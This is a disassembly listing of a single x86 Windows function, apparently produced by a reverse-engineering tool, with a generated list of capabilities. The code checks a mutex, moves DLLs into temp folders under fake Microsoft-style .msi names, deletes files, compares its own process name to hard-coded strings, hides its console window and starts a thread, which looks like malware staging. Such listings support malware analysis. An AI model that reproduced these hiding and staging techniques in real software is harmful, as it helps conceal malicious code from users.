Function at 0x41d0d0
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Create directory
Create thread
Delete file
Get common file path
Get file attributes
Hide graphical window
Move file
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc4c
mov eax, dword [0x446824]
xor eax, esp
mov dword [esp + 0xc48], eax
push ebx
push esi
push edi
push 0x4401f4
push 0x44c370
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x41d108
push str.DhmHxx4GW3Ymiwwu2fzy1QkgeFVtU9ZnfCnLCjROO4yxT5T2Ik
jmp 0x41d10d
push str.NIpizDg64rfvhLyrCQMywaHQBENjzMv1R6uEoR8NfcvFEqARIU
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [esp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x41d426
push str.libmini.dll
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ebx, dword [sym.imp.KERNEL32.dll_MoveFileW]
cmp eax, 0xffffffff
jne 0x41d15d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x41d25b
xor eax, eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], eax
lea eax, [esp + 0x430]
push eax
push 0x104
mov dword [esp + 0x18], 0xc
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0
call fcn.00421f1e
add esp, 4
push eax
call fcn.00421705
add esp, 4
call fcn.00421717
add eax, 2
push eax
lea ecx, [esp + 0x434]
push ecx
lea edx, [esp + 0x28]
push str._s_d
push edx
call esi
add esp, 0x10
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x24]
push ecx
call edi
push str....._
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x230]
push 0x44014c
push eax
call esi
add esp, 0x10
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x22c]
push edx
call edi
push str.Microsoft.TransCompositia.msi
lea eax, [esp + 0x22c]
push eax
lea ecx, [esp + 0x640]
push 0x441720
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0x638]
push edx
push str.libmini.dll
call ebx
push str.Microsoft.TransCompositia.msi
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0xa50]
push 0x441720
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xa48]
push edx
lea eax, [esp + 0x22c]
push eax
call ebx
lea ecx, [esp + 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.NetDevenvSpeed.dll
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x41d27a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x41d378
lea edx, [esp + 0xa48]
xor eax, eax
push edx
push 0x104
mov dword [esp + 0x18], 0xc
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0
call fcn.00421f1e
add esp, 4
push eax
call fcn.00421705
add esp, 4
call fcn.00421717
add eax, 2
push eax
lea eax, [esp + 0xa4c]
push eax
lea ecx, [esp + 0x28]
push str._s_d
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x24]
push eax
call edi
push str....._
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x230]
push 0x44014c
push edx
call esi
add esp, 0x10
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x22c]
push ecx
call edi
push str.Microsoft.TransCompositib.msi
lea edx, [esp + 0x22c]
push edx
lea eax, [esp + 0x640]
push 0x441720
push eax
call esi
add esp, 0x10
lea ecx, [esp + 0x638]
push ecx
push str.NetDevenvSpeed.dll
call ebx
push str.Microsoft.TransCompositib.msi
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x438]
push 0x441720
push eax
call esi
add esp, 0x10
lea ecx, [esp + 0x430]
push ecx
lea edx, [esp + 0x22c]
push edx
call ebx
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x84a]
push edx
mov esi, eax
mov word [esp + 0x84c], cx
call fcn.00423160
add esp, 0xc
push esi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0x104
lea eax, [esp + 0x844]
push eax
push 0
push edi
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExW]
lea ecx, [esp + 0x840]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov esi, eax
push esi
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpW]
push str.Haloonoroff
push esi
call ebx
test eax, eax
jne 0x41d3fd
call fcn.00417050
push str.normalizer
push esi
call ebx
test eax, eax
jne 0x41d40e
call fcn.00417050
mov esi, dword [esp + 0x1c]
push esi
call edi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
call dword [sym.imp.USER32.dll_GetInputState]
push 0
push 0
push 0
push 0x41aac0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
mov dword [0x450aec], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [0x450aec]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [esp + 0xc54]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.0041fcee
mov esp, ebp
pop ebp
ret